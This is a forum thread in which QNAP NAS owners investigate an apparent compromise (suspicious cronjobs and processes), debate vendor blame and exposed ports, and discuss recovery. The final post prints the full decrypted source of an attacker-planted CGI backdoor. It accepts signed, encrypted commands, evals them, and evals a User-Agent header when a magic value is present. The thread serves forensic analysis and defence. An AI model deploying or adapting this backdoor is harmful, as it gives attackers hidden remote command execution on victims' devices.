Strange folders and cronjobs

Questions about SNMP, Power, System, Logs, disk, & RAID.
Post Reply
User avatar
dolbyman
Guru
Posts: 34903
Joined: Sat Feb 12, 2011 2:11 am
Location: Vancouver BC , Canada

Re: Strange folders and cronjobs

Post by dolbyman »

not sure why you are investigating in your live NAS, kill it with fire (including the autorun.sh) then restore the NAS and data from scratch..the system could be very deeply compromised
User avatar
Don
Guru
Posts: 12289
Joined: Thu Jan 03, 2008 4:56 am
Location: Long Island, New York

Re: Strange folders and cronjobs

Post by Don »

I believe bcclient is a QNAP process. Something to do with Qfinder.
Use the forum search feature before posting.

Use RAID and external backups. RAID will protect you from disk failure, keep your system running, and data accessible while the disk is replaced, and the RAID rebuilt. Backups will allow you to recover data that is lost or corrupted, or from system failure. One does not replace the other.

NAS: TVS-882BR | F/W: 5.0.1.2346 | 40GB | 2 x 1TB M.2 SATA RAID 1 (System/VMs) | 3 x 1TB M.2 NMVe QM2-4P-384A RAID 5 (cache) | 5 x 14TB Exos HDD RAID 6 (Data) | 1 x Blu-ray
NAS: TVS-h674 | F/W: 5.0.1.2376 | 16GB | 3 x 18TB RAID 5
Apps: DNSMasq, PLEX, iDrive, QVPN, QLMS, MP3fs, HBS3, Entware, DLstation, VS, +
robert_m_muench
Getting the hang of things
Posts: 93
Joined: Mon Feb 12, 2018 9:26 pm

Re: Strange folders and cronjobs

Post by robert_m_muench »

Ok, bcclient comes back when being killed... and the outgoing internet traffic is raising. It's installed in /sbin/... I queried the process information for it via: ls -l /proc/<id>/exe, cwd and fd. I moved the file to my home directory and killed all running instances of it: killall bcclient

What makes hunting all this down hard is, that the basic shell commands are implemented via BusyBox, which are very limited. So no "ps auxf" etc.

I have a bunch of files in /sbin with date 2018-08-30 05:23, the interesting thing is, that mostly all other files are links. I have the latest firmware version installed. How about calculating a checksum of all /sbin programs and compare with others to see what kind of versions we all have. /sbin should be pretty the same for everyone.
TVS-1282T3
CPU: Intel Core i7-7700 CPU @ 3.60GHz
Memory: 64 GB
2 x Samsung SSD 850 EVO M.2 1TB (M.2 SATA)
2 x Samsung SSD 860 EVO 2TB (SATA)
4 x WDC WD6002FFWX-68TZ4N0 (SATA) (6TB)
4 x Seagate ST12000VN0007-2GS116 (SATA) (12TB)
robert_m_muench
Getting the hang of things
Posts: 93
Joined: Mon Feb 12, 2018 9:26 pm

Re: Strange folders and cronjobs

Post by robert_m_muench »

Ok, bcclient is the process used for Qfinder device discovery and configuration. How dumb is QNAP to use a program name that's existing as something else too? How about prefixing all qnap processes?
TVS-1282T3
CPU: Intel Core i7-7700 CPU @ 3.60GHz
Memory: 64 GB
2 x Samsung SSD 850 EVO M.2 1TB (M.2 SATA)
2 x Samsung SSD 860 EVO 2TB (SATA)
4 x WDC WD6002FFWX-68TZ4N0 (SATA) (6TB)
4 x Seagate ST12000VN0007-2GS116 (SATA) (12TB)
Mousetick
Experience counts
Posts: 1081
Joined: Thu Aug 24, 2017 10:28 pm

Re: Strange folders and cronjobs

Post by Mousetick »

Yeah as dolbyman said, at this point you're better off reinitializing the NAS from scratch, reinstall and reconfigure all your applications, and restore your data.

Unless QNAP support has specifically asked you to keep your NAS in its current state so they can investigate?

If QNAP is serious about security, they should have honeypots set up in-house to detect potential attack vectors and perform forensics.
somy1982
Easy as a breeze
Posts: 372
Joined: Fri Apr 08, 2016 6:42 pm

Re: Strange folders and cronjobs

Post by somy1982 »

dolbyman wrote:not sure why you are investigating in your live NAS, kill it with fire (including the autorun.sh) then restore the NAS and data from scratch..the system could be very deeply compromised
It will days of days work to backup, reconfigure and restore the system, not to mention snapshots for historic versions are gone. Don’t know why QTS does ‘t Provide a way to only reset the OS in system volume, at least data can be kept in that way.
robert_m_muench
Getting the hang of things
Posts: 93
Joined: Mon Feb 12, 2018 9:26 pm

Re: Strange folders and cronjobs

Post by robert_m_muench »

somy1982 wrote:It will days of days work to backup, reconfigure and restore the system, not to mention snapshots for historic versions are gone. Don’t know why QTS does ‘t Provide a way to only reset the OS in system volume, at least data can be kept in that way.
Exactly!! This is a major usage-pattern flaw. What I have done is, that I transferred the volumes of the storage pool where the system is located to a new storage pool [1][2]. By this action, the old volume is empty and a "Snapshot Shared Folder Thick Volume" is created (what every this special type is, see screenshot). My idea is to detach pool 2, remove the disks and then wipe the NAS, reinstall and get pool 2 back online. IMO this should work.

Besides being open to such a vulnerability the current B2 cloud backup is broken in that it's totally slow...

What I don't get is, why they don't include things like digital signatures of all files, store dynamic files in a special area that can be wiped without having to re-install the system. Log all changes to system files, and audit these automatically. Of course, this won't give 100% protection but I think the more parts are involved to keep, track and handle security the harder it gets for an attacker to get in because all of these parts have to been fooled to stay unrecognized.

[1] viewtopic.php?f=25&t=143229
[2] viewtopic.php?f=73&t=143153
TVS-1282T3
CPU: Intel Core i7-7700 CPU @ 3.60GHz
Memory: 64 GB
2 x Samsung SSD 850 EVO M.2 1TB (M.2 SATA)
2 x Samsung SSD 860 EVO 2TB (SATA)
4 x WDC WD6002FFWX-68TZ4N0 (SATA) (6TB)
4 x Seagate ST12000VN0007-2GS116 (SATA) (12TB)
somy1982
Easy as a breeze
Posts: 372
Joined: Fri Apr 08, 2016 6:42 pm

Re: Strange folders and cronjobs

Post by somy1982 »

robert_m_muench wrote:
somy1982 wrote:It will days of days work to backup, reconfigure and restore the system, not to mention snapshots for historic versions are gone. Don’t know why QTS does ‘t Provide a way to only reset the OS in system volume, at least data can be kept in that way.
Exactly!! This is a major usage-pattern flaw. What I have done is, that I transferred the volumes of the storage pool where the system is located to a new storage pool [1][2]. By this action, the old volume is empty and a "Snapshot Shared Folder Thick Volume" is created (what every this special type is, see screenshot). My idea is to detach pool 2, remove the disks and then wipe the NAS, reinstall and get pool 2 back online. IMO this should work.

Besides being open to such a vulnerability the current B2 cloud backup is broken in that it's totally slow...

What I don't get is, why they don't include things like digital signatures of all files, store dynamic files in a special area that can be wiped without having to re-install the system. Log all changes to system files, and audit these automatically. Of course, this won't give 100% protection but I think the more parts are involved to keep, track and handle security the harder it gets for an attacker to get in because all of these parts have to been fooled to stay unrecognized.

[1] viewtopic.php?f=25&t=143229
[2] viewtopic.php?f=73&t=143153
Just wait a few days more - qnap said they are testing the new malware remover which can fix the problem. For now disconnect the device from internet and backup data that you need protection. In my case I just keep all important data locked in encrypted volume until i’m Sure the system is clean.
User avatar
Don
Guru
Posts: 12289
Joined: Thu Jan 03, 2008 4:56 am
Location: Long Island, New York

Re: Strange folders and cronjobs

Post by Don »

Everyone puts the blame on QNAP without accepting any blame themselves. By opening up ports on your router and directing them to your NAS you will be attacked. If I need to access my equipment at home when I am away I use a VPN. Guess what? I have not been compromised.

Some tips/advise.
  1. All systems (Windows, Linux, Apple, QNAP, Synology, etc) are vulnerable to attack if you open them up to the internet.
  2. Run Malware remover on your NAS and schedule runs.
  3. Run McAfee on your NAS for additional protection.
  4. Run virus software on your PCs.
  5. Use a VPN instead of opening incoming ports on the router.
  6. Make frequent backups for protection.
Use the forum search feature before posting.

Use RAID and external backups. RAID will protect you from disk failure, keep your system running, and data accessible while the disk is replaced, and the RAID rebuilt. Backups will allow you to recover data that is lost or corrupted, or from system failure. One does not replace the other.

NAS: TVS-882BR | F/W: 5.0.1.2346 | 40GB | 2 x 1TB M.2 SATA RAID 1 (System/VMs) | 3 x 1TB M.2 NMVe QM2-4P-384A RAID 5 (cache) | 5 x 14TB Exos HDD RAID 6 (Data) | 1 x Blu-ray
NAS: TVS-h674 | F/W: 5.0.1.2376 | 16GB | 3 x 18TB RAID 5
Apps: DNSMasq, PLEX, iDrive, QVPN, QLMS, MP3fs, HBS3, Entware, DLstation, VS, +
User avatar
Trexx
Ask me anything
Posts: 5393
Joined: Sat Oct 01, 2011 7:50 am
Location: Minnesota

Re: Strange folders and cronjobs

Post by Trexx »

Don wrote:Everyone puts the blame on QNAP without accepting any blame themselves. By opening up ports on your router and directing them to your NAS you will be attacked. If I need to access my equipment at home when I am away I use a VPN. Guess what? I have not been compromised.

Some tips/advise.
  1. All systems (Windows, Linux, Apple, QNAP, Synology, etc) are vulnerable to attack if you open them up to the internet.
  2. Run Malware remover on your NAS and schedule runs.
  3. Run McAfee on your NAS for additional protection.
  4. Run virus software on your PCs.
  5. Use a VPN instead of opening incoming ports on the router.
  6. Make frequent backups for protection.
That sounds like a lot of work, reading, and educating myself on many things.... simpler path.. blame vendor for my choices. :wink:
Paul

Model: TS-877-1600 FW: 4.5.3.x
QTS (SSD): [RAID-1] 2 x 1TB WD Blue m.2's
Data (HDD): [RAID-5] 6 x 3TB HGST DeskStar
VMs (SSD): [RAID-1] 2 x1TB SK Hynix Gold
Ext. (HDD): TR-004 [Raid-5] 4 x 4TB HGST Ultastor
RAM: Kingston HyperX Fury 64GB DDR4-2666
UPS: CP AVR1350

Model:TVS-673 32GB & TS-228a Offline[/color]
-----------------------------------------------------------------------------------------------------------------------------------------
2018 Plex NAS Compatibility Guide | QNAP Plex FAQ | Moogle's QNAP Faq
robert_m_muench
Getting the hang of things
Posts: 93
Joined: Mon Feb 12, 2018 9:26 pm

Re: Strange folders and cronjobs

Post by robert_m_muench »

Don wrote:Everyone puts the blame on QNAP without accepting any blame themselves. By opening up ports on your router and directing them to your NAS you will be attacked. If I need to access my equipment at home when I am away I use a VPN. Guess what? I have not been compromised.
That's the mitigation, sure. But anyway QNAP did deliver insecure applications to its users. If they want to deliver such many features, and they promote this stuff, they should take care. Quite simple.

Since QNAP is not acting quick and transparent here, I suggest we go public via Twitter and let the world know. (good post to this: https://www.troyhunt.com/the-effectiven ... -security/)
TVS-1282T3
CPU: Intel Core i7-7700 CPU @ 3.60GHz
Memory: 64 GB
2 x Samsung SSD 850 EVO M.2 1TB (M.2 SATA)
2 x Samsung SSD 860 EVO 2TB (SATA)
4 x WDC WD6002FFWX-68TZ4N0 (SATA) (6TB)
4 x Seagate ST12000VN0007-2GS116 (SATA) (12TB)
robert_m_muench
Getting the hang of things
Posts: 93
Joined: Mon Feb 12, 2018 9:26 pm

Re: Strange folders and cronjobs

Post by robert_m_muench »

GuyLerome wrote:I got hit by this as well, on the same date. Needless to say I'm not impressed with QNAP at all.

But I suffered from another hack back in May, possibly same vector (cgi-bin injection).

I have some files if anyone is interested, I'd be interested to have the following unscrambled (it was running as a crontab task):
I went over to: https://www.tutorialspoint.com/execute_bash_online.php and pasted the code in, this is the output:

Code: Select all

bash: line 2: /home/httpd/cgi-bin/syslog.cgi: No such file or directory
chmod: cannot access '/home/httpd/cgi-bin/syslog.cgi': No such file or directory
main.sh: line 77: warning: here-document at line 60 delimited by end-of-file (wanted `suwVACZYaJDrk')
main.sh: line 60: /home/httpd/cgi-bin/iscsitargetsetting.cgi: No such file or directory
Good, this at least gives some idea, what the hack tries to do.
TVS-1282T3
CPU: Intel Core i7-7700 CPU @ 3.60GHz
Memory: 64 GB
2 x Samsung SSD 850 EVO M.2 1TB (M.2 SATA)
2 x Samsung SSD 860 EVO 2TB (SATA)
4 x WDC WD6002FFWX-68TZ4N0 (SATA) (6TB)
4 x Seagate ST12000VN0007-2GS116 (SATA) (12TB)
robert_m_muench
Getting the hang of things
Posts: 93
Joined: Mon Feb 12, 2018 9:26 pm

Re: Strange folders and cronjobs

Post by robert_m_muench »

TVS-1282T3
CPU: Intel Core i7-7700 CPU @ 3.60GHz
Memory: 64 GB
2 x Samsung SSD 850 EVO M.2 1TB (M.2 SATA)
2 x Samsung SSD 860 EVO 2TB (SATA)
4 x WDC WD6002FFWX-68TZ4N0 (SATA) (6TB)
4 x Seagate ST12000VN0007-2GS116 (SATA) (12TB)
User avatar
Don
Guru
Posts: 12289
Joined: Thu Jan 03, 2008 4:56 am
Location: Long Island, New York

Re: Strange folders and cronjobs

Post by Don »

Why such vengeance? Are you going to warn the world about every vulnerability in every software product? I think you should since you feel so strongly that they need to be fixed immediately.
Use the forum search feature before posting.

Use RAID and external backups. RAID will protect you from disk failure, keep your system running, and data accessible while the disk is replaced, and the RAID rebuilt. Backups will allow you to recover data that is lost or corrupted, or from system failure. One does not replace the other.

NAS: TVS-882BR | F/W: 5.0.1.2346 | 40GB | 2 x 1TB M.2 SATA RAID 1 (System/VMs) | 3 x 1TB M.2 NMVe QM2-4P-384A RAID 5 (cache) | 5 x 14TB Exos HDD RAID 6 (Data) | 1 x Blu-ray
NAS: TVS-h674 | F/W: 5.0.1.2376 | 16GB | 3 x 18TB RAID 5
Apps: DNSMasq, PLEX, iDrive, QVPN, QLMS, MP3fs, HBS3, Entware, DLstation, VS, +
Mousetick
Experience counts
Posts: 1081
Joined: Thu Aug 24, 2017 10:28 pm

Re: Strange folders and cronjobs

Post by Mousetick »

GuyLerome wrote:I have some files if anyone is interested, I'd be interested to have the following unscrambled (it was running as a crontab task):
The cron task's script generates two identical CGI scripts that it then installs into the QTS web server. They do not overwrite existing files. They are named to look like they are normal harmless CGI scripts: syslog.cgi and iscsitargetsetting.cgi. I'm not entirely sure but it appears that they are a backdoor that allows executing arbitrary commands on the NAS, the commands being sent in the payload of the HTTP request to those CGI scripts.

Following is the decrypted content of those 2 identical CGI scripts:
/home/httpd/cgi-bin/iscsitargetsetting.cgi
/home/httpd/cgi-bin/syslog.cgi

Code: Select all

#!/bin/sh
genrstr () 
{ 
    local s=;
    local min=${1:-4};
    local max=${2:-12};
    local kspace="${3:-a-zA-Z}"
    tr -dc "$kspace" < /dev/urandom | { 
        read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s;
        echo "$s"
    }
}
command -v mktemp > /dev/null 2>&1 || mktemp () { 
local suffix=`genrstr 6 6`
test "$2" && { mkdir "${2%XXXXXX}$suffix"; echo "${2%XXXXXX}$suffix"; } || { touch "${1%XXXXXX}$suffix"; echo "${1%%XXXXXX}$suffix"; }
}
exec 2>/dev/null
PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin"
test ! -z "${QUERY_STRING}" || { printf "Date: "; TZ=GMT date; exit 0; }
echo "Date: Sun Aug 10 09:00:14 GMT 2014"
cr=`printf '\r' || echo -ne '\r'`
test "${#cr}" -eq 1 && echo "$cr" || echo ""
test "x$HTTP_REFERER" = "x044d4a82178422277115c313a6a6149d7f402283" || exit 0
test ! -z "${0}" && test `ps aux | grep "${0}" | wc -l` -gt 40 && exit 0
command -v openssl >/dev/null 2>&1 && {
POSTDATA=''
k="oa14UFOyCSUYK8LlfBWiaRRW5s7LI9L0"
test "x${REQUEST_METHOD}" = xPOST && test ! -z "${QUERY_STRING}" && case "${QUERY_STRING}" in '' | *[!0-9]* | 0* ) false ;; [0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9] ) d="$(( `date +%s` / 100 ))"; test "${QUERY_STRING}" = "${d}" && ct="$d" || { test "${QUERY_STRING}" = "$(( $d - 1))" && ct="$(( $d - 1 ))"; } ;; *) false ;; esac && test ! -z "${QUERY_STRING}" && {
nl='
'
case "${CONTENT_LENGTH}" in '' | *[!0-9]* | 0* ) false ;; *) test "${CONTENT_LENGTH}" -lt 2147483646 ;; esac && { IFS= read -d '' -rn "${CONTENT_LENGTH}" POSTDATA; test -z "$POSTDATA" && POSTDATA=`dd bs=1 count="$CONTENT_LENGTH" 2>/dev/null`; } || test "$POSTDATA" || POSTDATA=`cat` || exit 0
s="${POSTDATA##*.}"
st="${s##*-}"
s="${s%%-*}"
d="$(( $d / 1000 ))"
test ! -z "$d" && test ! -z "$st" && test "${#st}" = 5 && { test "x$st" = "x$d" || test "x$st" = "x$(( $d - 1 ))"; } || { test -f "$t" && rm "$t"; exit 0; }
case "$s" in '' | *[!a-zA-Z0-9/+=$nl]* ) test -f "$t" && rm "$t"; exit 0; ;; esac
t=`mktemp /tmp/.tmp.XXXXXX` || exit 0
cat > "$t" <<"EOF" || { test -f "$t" && rm "$t"; exit 0; }
-----BEGIN PUBLIC KEY-----
MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAyiG+H/1fcLMfTNUvvBes
OJq06fOGmBFKIUOCPsyGpAuzDrCKlnBuHoL4hSEtnuxTBNt8jABzdZ+p9qUbAZ3O
zaPmJIds1gHHl1KF+Q8H5bNdNs9MCRkEvCUgJGFe3AalL7k+j/RXBsWrsLCKdGKW
aH+dtC0NdLKdkzhK8qBqzHxC+MUGzee5//OgDKdcKeelaCgzUJa0ui11BZ3IjKpQ
l7HokVHmyzRrJGPcuc4klH9bK4SeADehRyjylivHQcqSK1sNswapJm2qDjyQ7hjR
R2saOzubTUw1+2QKl+My5Sfyo/B8NopNY6EAOL8YCPVHCapq2af2ZythaV22VpfY
ztzjEy5OkFNh6fRgZNpbsuMu4nPaB/rgvJmsWx93ansh4IeXiPyOuKVBamUZyIvL
xr2ESC2rhgWhqgJuiLlHG+HMK63PodBMFyKq9rLd4h99nXb9+iCmFQ9fzJKs9SSM
j7xadGpabK2aNTpN3zDAuEGI4ZOtqxLqWjEHm0bE+Z5FAgMBAAE=
-----END PUBLIC KEY-----
EOF
test ! -z "$s" && h=`openssl base64 -d <<EOF | openssl rsautl -pubin -inkey "$t" -verify
$s
EOF
` || { test -f "$t" && rm "$t"; exit 0; }
test -f "$t" && rm "$t"
m="${POSTDATA%%.*}"
POSTDATA=''
case "$m" in '' | *[!a-zA-Z0-9/+=$nl]* ) exit 0 ;; esac
k=`openssl dgst -sha1 -binary -hmac "$ct" <<EOF | openssl base64
$k
EOF
`
m=`openssl enc -d -aes-256-cbc -k "$k" -md sha1 -salt -a <<EOF
$m
EOF
`
mh=`openssl dgst -sha1 -binary -hmac "$st" <<EOF | openssl base64
$m
EOF
`
test ! -z "$h" && test "$h" = "$mh" || exit 0
eval "$m"
true
} || {
t=`mktemp /tmp/.tmp.XXXXXX` || exit 0
cat > "$t" <<"EOF" || { test -f "$t" && rm "$t"; exit 0; }
-----BEGIN PUBLIC KEY-----
MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEA9QmHMw4jw8COLYKgOqfC
0GZsRSwFgixT0liMc42ZSrssrsFGZlDPK35zldmbUsEQXtFYkDjVeUckp2ah8Fcf
ABFUG8MLnl6wTvxGZwJJbMLPDiYo5l/d07BKcbwYuqNp+2//2dukxCyakOIInIqF
LgrM5nvp5BKBBccMlMBasFtxZfFgtNjlQ9i9mNfi53nalrMPRol9KifW1YxmLw1+
7GTujFSlyK9Apvi/ZI2y/vym6NWbWEsaE5B9ggXJYrVxlbKxMIzWuXf18S2p48Fh
pVUyYJ0mjDUc3SiJR4RiPikPpTQgkSjy90aMKroWCAd9M6cZtfwCzhMbvytNmdtd
YxBNNn0FmQ51cLPc+dpaIIx2i/2cGdHY8ZAjBDMBMBkjIe2gFgc6lJ0WOlT638z+
w7/mP+hcCoLVUiGSiEumz3UL5PmoVa3w2t04Ra70PLWApGsI/gpHyH0W8i6yVBHE
qUsaQxnBOFvy+iSomyFil2dxKQLjTwyZBn8+1KmonJ2pAgMBAAE=
-----END PUBLIC KEY-----
EOF
openssl rsautl -pubin -inkey "$t" -encrypt <<EOF | openssl base64
$k
EOF
rm "$t"
true 
}; true; } || {
test "x$ACCEPT_LANGUAGE" = "x1a10ddf5d672a2997d1d711e01ce2a6bfabba50a" && eval "${HTTP_USER_AGENT}"
}
test -f "$t" && rm "$t"
sleep 1
exit 0
Post Reply

Return to “System & Disk Volume Management”